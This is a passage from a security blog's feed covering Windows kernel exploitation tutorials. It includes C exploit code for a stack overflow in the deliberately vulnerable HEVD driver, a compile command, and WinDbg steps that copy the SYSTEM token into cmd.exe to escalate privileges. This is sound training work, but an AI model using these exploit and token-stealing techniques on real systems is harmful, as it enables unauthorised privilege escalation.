&lt;p&gt;Assuming &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Supervisor_Mode_Access_Prevention&quot;&gt;SMEP&lt;&#x2F;a&gt;
is not enabled, once we control the program counter, we can
simply return to an known executable location in user-land, location that’ll
hold
&lt;a href=&quot;&#x2F;2017&#x2F;08&#x2F;14&#x2F;a-primer-to-windows-x64-shellcoding&quot;&gt;the shellcode we created in the last post&lt;&#x2F;a&gt;. But
to know the state of the stack after the overflow but before exiting the function, it’d
be nice to have WinDbg break at the &lt;code&gt;ret&lt;&#x2F;code&gt; instruction of
&lt;code&gt;TriggerStackOverflow&lt;&#x2F;code&gt;. Since ASLR is enabled, we can’t just break at a fixed
address and having to compute the address would be tedious, but fortunately,
WinDbg, in its all awesomeness,
provides the command “Break Unresolved” (&lt;code&gt;bu&lt;&#x2F;code&gt;) which provides a clean way to circumvent this issue:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; uf HEVD!TriggerStackOverflow
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;  101 fffff801`8063e707 5f              pop     rdi
&lt;&#x2F;span&gt;&lt;span&gt;  101 fffff801`8063e708 c3              ret
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; ? fffff801`8063e708 - HEVD!TriggerStackOverflow
&lt;&#x2F;span&gt;&lt;span&gt;Evaluate expression: 200 = 00000000`000000c8
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; bu HEVD!TriggerStackOverflow+c8
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can now compile and run our first PoC, and wait for WinDbg to catch the breakpoint.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-stack-overflow-windbg-ret.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-stack-overflow-windbg-ret.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;If we check the stack, we see that we’ve successfully overwritten the return
address:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;          |                |
&lt;&#x2F;span&gt;&lt;span&gt;          |    ReturnAddr  |
&lt;&#x2F;span&gt;&lt;span&gt;          |       SFP      |
&lt;&#x2F;span&gt;&lt;span&gt;          | AAAAAAAAAAAAAA |
&lt;&#x2F;span&gt;&lt;span&gt;          | AAAAAAAAAAAAAA |
&lt;&#x2F;span&gt;&lt;span&gt;          | AAAAAAAAAAAAAA |
&lt;&#x2F;span&gt;&lt;span&gt;          | AAAAAAAAAAAAAA |
&lt;&#x2F;span&gt;&lt;span&gt;          | AAAAAAAAAAAAAA |
&lt;&#x2F;span&gt;&lt;span&gt;          | AAAAAAAAAAAAAA |
&lt;&#x2F;span&gt;&lt;span&gt;          |                |
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So we know that our user-land allocated must be something like:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;                     0x800 bytes             8 bytes    8 bytes
&lt;&#x2F;span&gt;&lt;span&gt; _____________________^___________________   ___^____   ___^____
&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;                                         \ &#x2F;        \ &#x2F;        \
&lt;&#x2F;span&gt;&lt;span&gt;|                                          |          |          |
&lt;&#x2F;span&gt;&lt;span&gt;| Shellcode + Padding                      | BBBBBBBB | addr. of |
&lt;&#x2F;span&gt;&lt;span&gt;|                                          |          |  buffer  |
&lt;&#x2F;span&gt;&lt;span&gt;^                                                          |
&lt;&#x2F;span&gt;&lt;span&gt;|                                                          |
&lt;&#x2F;span&gt;&lt;span&gt;\__________________________________________________________&#x2F;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which translates into the following C code:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span&gt;IOCTL_HEVD_STACK_OVERFLOW &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x222003
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* 1. Get a handle to the driver *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;HANDLE hDevice = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CreateFileA&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;HackSysExtremeVulnerableDriver&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, ...);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* 2. Populate our controlled area *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;LPVOID lpInBuffer = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;VirtualAlloc&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
&lt;&#x2F;span&gt;&lt;span&gt;DWORD nInBufferSize = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x800 &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x50&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ZeroMemory&lt;&#x2F;span&gt;&lt;span&gt;(lpInBuffer, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CopyMemory&lt;&#x2F;span&gt;&lt;span&gt;(lpInBuffer, StealTokenShellcode, StealTokenShellcodeLength);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RtlFillMemory&lt;&#x2F;span&gt;&lt;span&gt;(lpInBuffer+StealTokenShellcodeLength, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;-StealTokenShellcodeLength, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\xcc&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;);
&lt;&#x2F;span&gt;&lt;span&gt;uint64_t *ptr = (uint64_t*) (lpInBuffer + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x808&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;*ptr = (uint64_t)lpInBuffer;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* 3. Send the IOCTL request *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;BOOL bResult = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DeviceIoControl&lt;&#x2F;span&gt;&lt;span&gt;(hDevice, IOCTL_HEVD_STACK_OVERFLOW,
&lt;&#x2F;span&gt;&lt;span&gt;                               lpBufferIn, dwBufferInLength, ...);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* 4. Profit *&#x2F;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;final-wrap-up&quot;&gt;Final wrap-up&lt;&#x2F;h1&gt;
&lt;p&gt;The final exploit can be found &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;hevd&#x2F;blob&#x2F;feb6d67ca5f5f3c0718042b42e22adbeee6aee62&#x2F;StackOverflow&#x2F;exploit.c&quot;&gt;here&lt;&#x2F;a&gt;. It includes a few extra logging information and nice cleanup so the executable can be reused many times.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; x86_64-w64-mingw32-gcc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -D__WIN81__ -D__X86_64__ -o&lt;&#x2F;span&gt;&lt;span&gt; exploit.exe exploit.c
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The PE &lt;code&gt;exploit.exe&lt;&#x2F;code&gt; provided was compiled with the exploitation offsets of
the internal structures of Windows 8.1 x86. Reusing directly the PE on another
version of Windows might produce an unexpected behavior.&lt;&#x2F;p&gt;
&lt;p&gt;We can run it, and w00t !&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-stack-overflow-exploit.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-stack-overflow-exploit.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;I’ve also added to the repository my WinDbg workspaces (for both user-mode and
kernel-mode) along with a header file &lt;code&gt;hevd.h&lt;&#x2F;code&gt; with a few functions helping the
exploit process of this awesome vulnerable driver.&lt;&#x2F;p&gt;
&lt;p&gt;Until next time, ✌&lt;&#x2F;p&gt;
&lt;h1 id=&quot;related-links&quot;&gt;Related links&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;windbg.info&#x2F;doc&#x2F;1-common-cmds.html&quot;&gt;WinDbg cheatsheet&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;msdn.microsoft.com&#x2F;en-us&#x2F;ie&#x2F;ff563197(v=vs.94)&quot;&gt;.hh command&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;j00ru.vexillium.org&#x2F;?p=783&amp;amp;lang=en&quot;&gt;SMEP: What is it, and how to beat it on Windows&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>A Primer to Windows x64 shellcoding</title>
        <published>2017-08-14T00:00:00+00:00</published>
        <updated>2017-08-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2017-08-14-a-primer-to-windows-x64-shellcoding/"/>
        <id>https://blahcat.github.io/2017-08-14-a-primer-to-windows-x64-shellcoding/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2017-08-14-a-primer-to-windows-x64-shellcoding/">&lt;p&gt;Continuing on the path to Windows kernel exploitation…&lt;&#x2F;p&gt;
&lt;p&gt;Thanks to the previous post, we now have a working lab for easily (and
in a reasonably fast manner) debug Windows kernel.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s skip ahead for a minute and assume we control PC using some vulnerability
in kernel land (next post), then we may want to jump back into a user allocated
buffer to execute a control shellcode. So where do we go from now? How to
transform this controlled PC in the kernel-land into a privileged process in
user-land?&lt;&#x2F;p&gt;
&lt;p&gt;The classic technique is to steal the &lt;code&gt;System&lt;&#x2F;code&gt; process token and copy it into the
structure of our targeted arbitrary (but unprivileged) process (say &lt;code&gt;cmd.exe&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-info
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Note
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;Our target here will the Modern.IE Windows 8.1 x64 we created in the &lt;a href=&quot;&#x2F;2017&#x2F;08&#x2F;07&#x2F;setting-up-a-windows-vm-lab-for-kernel-debugging&quot;&gt;previous post&lt;&#x2F;a&gt;, that we’ll interact with using &lt;code&gt;kd&lt;&#x2F;code&gt; via Network debugging. Refer to previous post if you need to set it up.&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;h1 id=&quot;stealing-system-token-using-kd&quot;&gt;Stealing SYSTEM token using &lt;code&gt;kd&lt;&#x2F;code&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;The
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;debugger&#x2F;-process&quot;&gt;&lt;code&gt;!process&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; extension
of WinDBG provides a structured display of one or all the processes.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; !process 0 0 System
&lt;&#x2F;span&gt;&lt;span&gt;PROCESS ffffe000baa6c040
&lt;&#x2F;span&gt;&lt;span&gt;   SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
&lt;&#x2F;span&gt;&lt;span&gt;   DirBase: 001a7000  ObjectTable: ffffc0002f403000  HandleCount: &amp;lt;Data Not Accessible&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;   Image: System
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This leaks the address of the &lt;code&gt;_EPROCESS&lt;&#x2F;code&gt; structure in the kernel, of the process
named &lt;code&gt;System&lt;&#x2F;code&gt;. Using &lt;code&gt;dt&lt;&#x2F;code&gt; will provide a lot more info (here, massively
truncated to what interests us):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; dt _EPROCESS ffffe000baa6c040
&lt;&#x2F;span&gt;&lt;span&gt;ntdll!_EPROCESS
&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 Pcb              : _KPROCESS
&lt;&#x2F;span&gt;&lt;span&gt;   [...]
&lt;&#x2F;span&gt;&lt;span&gt;   +0x2e0 UniqueProcessId  : 0x00000000`00000004 Void
&lt;&#x2F;span&gt;&lt;span&gt;   +0x2e8 ActiveProcessLinks : _LIST_ENTRY [ 0xffffe000`bbc54be8 - 0xfffff801`fed220a0 ]
&lt;&#x2F;span&gt;&lt;span&gt;   [...]
&lt;&#x2F;span&gt;&lt;span&gt;   +0x348 Token            : _EX_FAST_REF
&lt;&#x2F;span&gt;&lt;span&gt;   [...]
&lt;&#x2F;span&gt;&lt;span&gt;   +0x430 PageDirectoryPte : 0
&lt;&#x2F;span&gt;&lt;span&gt;   +0x438 ImageFileName    : [15]  &amp;quot;System&amp;quot;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;At &lt;code&gt;nt!_EPROCESS.Token&lt;&#x2F;code&gt; (+0x348) we get the process token, which holds a pointer to an
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;git.reactos.org&#x2F;?p=reactos.git;a=blob;f=reactos&#x2F;sdk&#x2F;include&#x2F;ndk&#x2F;extypes.h;h=feaf7b95df50f7a9d95108882a2cdd71263a675b;hb=HEAD#l418&quot;&gt;“Executive Fast Reference” structure&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; dt nt!_EX_FAST_REF ffffe000baa6c040+348
&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 Object           : 0xffffc000`2f405598 Void
&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 RefCnt           : 0y1000
&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 Value            : 0xffffc000`2f405598
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If we nullify the last nibble of the address (i.e. AND with -0xf on x64, -7 on
x86), we end up having the &lt;code&gt;System&lt;&#x2F;code&gt; token’s address:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; ? 0xffffc000`2f405598 &amp;amp; -f
&lt;&#x2F;span&gt;&lt;span&gt;Evaluate expression: -70367951432304 = ffffc000`2f405590
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; dt nt!_TOKEN ffffc000`2f405590
&lt;&#x2F;span&gt;&lt;span&gt;    +0x000 TokenSource      : _TOKEN_SOURCE
&lt;&#x2F;span&gt;&lt;span&gt;    +0x010 TokenId          : _LUID
&lt;&#x2F;span&gt;&lt;span&gt;    +0x018 AuthenticationId : _LUID
&lt;&#x2F;span&gt;&lt;span&gt;    +0x020 ParentTokenId    : _LUID
&lt;&#x2F;span&gt;&lt;span&gt;    +0x028 ExpirationTime   : _LARGE_INTEGER 0x06207526`b64ceb90
&lt;&#x2F;span&gt;&lt;span&gt;    +0x030 TokenLock        : 0xffffe000`baa4ef90 _ERESOURCE
&lt;&#x2F;span&gt;&lt;span&gt;    +0x038 ModifiedId       : _LUID
&lt;&#x2F;span&gt;&lt;span&gt;    +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
&lt;&#x2F;span&gt;&lt;span&gt;    +0x058 AuditPolicy      : _SEP_AUDIT_POLICY
&lt;&#x2F;span&gt;&lt;span&gt;    [...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-info
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Note
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;the WinDBG extension &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;debugger&#x2F;-token&quot;&gt;&lt;code&gt;!token&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; provides a more detailed (and parsed) output. You might to refer to it instead whenever  you are analyzing tokens.&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;So basically, if we create a process (say &lt;code&gt;cmd.exe&lt;&#x2F;code&gt;), and overwrite its token with the &lt;code&gt;System&lt;&#x2F;code&gt; token value we found (0xffffc0002f405590), our process will be running as &lt;code&gt;System&lt;&#x2F;code&gt;. Let’s try!&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;token-bump-via-windbg-1.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;token-bump-via-windbg-1.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;We search our process using &lt;code&gt;kd&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; !process 0 0 cmd.exe
&lt;&#x2F;span&gt;&lt;span&gt;PROCESS ffffe000babfd900
&lt;&#x2F;span&gt;&lt;span&gt;    SessionId: 1  Cid: 09fc    Peb: 7ff6fa81c000  ParentCid: 0714
&lt;&#x2F;span&gt;&lt;span&gt;    DirBase: 45c4c000  ObjectTable: ffffc00036d03940  HandleCount: &amp;lt;Data Not  Accessible&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    Image: cmd.exe
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Overwrite the offset 0x348 with the &lt;code&gt;SYSTEM&lt;&#x2F;code&gt; token pointer (0xffffc0002f405590).&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; dq ffffe000bc043900+348 l1
&lt;&#x2F;span&gt;&lt;span&gt;ffffe000`bc043c48  ffffc000`30723426
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; eq 0xffffe000babfd900+0x348 0xffffc0002f405590
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And tada …&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;token-bump-via-windbg-2.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;token-bump-via-windbg-2.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Now we know how to transform any unprivileged process into a privileged one
using &lt;code&gt;kd&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shellcoding-our-way-to-system&quot;&gt;Shellcoding our way to SYSTEM&lt;&#x2F;h1&gt;
&lt;p&gt;So the basic idea now, to reproduce the same steps that we did in the last
part, but from our shellcode. So we need:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;A pointer to &lt;code&gt;System&lt;&#x2F;code&gt; &lt;code&gt;EPROCESS&lt;&#x2F;code&gt; structure, and save the token (located
at offset +0x348)&lt;&#x2F;li&gt;
&lt;li&gt;Look up for the current process &lt;code&gt;EPROCESS&lt;&#x2F;code&gt; structure&lt;&#x2F;li&gt;
&lt;li&gt;Overwrite its token with &lt;code&gt;System&lt;&#x2F;code&gt;’s&lt;&#x2F;li&gt;
&lt;li&gt;Profit!&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;getting-the-current-process-structure-address&quot;&gt;Getting the current process structure address&lt;&#x2F;h2&gt;
&lt;p&gt;Pointers to process structures on Windows are stored in a doubly linked list (see the
member &lt;code&gt;ActiveProcessLinks&lt;&#x2F;code&gt; of &lt;code&gt;nt!_EPROCESS&lt;&#x2F;code&gt; in &lt;code&gt;kd&lt;&#x2F;code&gt;).
If we have the address to one process, we can “scroll” back and forward to discover the
others. But first, we need to get the address of at the least one process in the
kernel.&lt;&#x2F;p&gt;
&lt;p&gt;This is exactly the purpose of the routine &lt;code&gt;nt!PsGetCurrentProcess&lt;&#x2F;code&gt;, but
since we can’t call it directly (thank you ASLR), we can still check what is it
doing under the hood:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; uf nt!PsGetCurrentProcess
&lt;&#x2F;span&gt;&lt;span&gt;nt!PsGetCurrentProcess:
&lt;&#x2F;span&gt;&lt;span&gt;fffff801`feb06e84 65488b042588010000   mov   rax,qword ptr gs:[188h]
&lt;&#x2F;span&gt;&lt;span&gt;fffff801`feb06e8d 488b80b8000000       mov   rax,qword ptr [rax+0B8h]
&lt;&#x2F;span&gt;&lt;span&gt;fffff801`feb06e94 c3                   ret
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; dps gs:188 l1
&lt;&#x2F;span&gt;&lt;span&gt;002b:00000000`00000188  fffff801`fedbfa00 nt!KiInitialThread
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;mov rax, qword ptr gs:[188h]&lt;&#x2F;code&gt; returns a pointer to an &lt;code&gt;_ETHREAD&lt;&#x2F;code&gt; structure (more
specifically the kernel thread (KTHREAD) &lt;code&gt;nt!KiInitialThread&lt;&#x2F;code&gt;). If we check the content of
this structure at the offset 0xb8, we find the structure to the current process:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; dt nt!_EPROCESS poi(nt!KiInitialThread+b8)
